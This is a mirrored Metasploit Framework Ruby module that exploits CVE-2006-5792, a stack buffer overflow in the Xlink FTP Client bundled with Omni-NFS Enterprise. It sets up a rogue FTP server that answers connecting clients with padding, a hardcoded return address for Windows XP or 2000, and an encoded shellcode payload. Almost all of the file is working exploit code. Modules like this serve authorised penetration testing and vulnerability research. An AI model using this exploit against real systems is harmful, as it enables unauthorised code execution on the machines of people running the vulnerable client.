mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
74 lines
2.0 KiB
Ruby
74 lines
2.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Xlink FTP Client Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Xlink FTP Client 32
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Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.
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When a overly long FTP server response is recieved by a client,
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arbitrary code may be executed.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-5792' ],
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[ 'OSVDB', '33969' ],
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[ 'URL', 'http://www.metasploit.com/' ],
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[ 'URL', 'http://www.xlink.com' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00\x0a\x0d\().,",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7d054897 } ],
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x7ce02a2d } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 3 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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sploit = rand_text_alpha_upper(260) + [target.ret].pack('V') + payload.encoded
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sploit << rand_text_alpha_upper(1024 - payload.encoded.length) + "\r\n"
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print_status("Sending #{self.name}...")
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client.put(sploit)
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handler(client)
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service.close_client(client)
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end
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end
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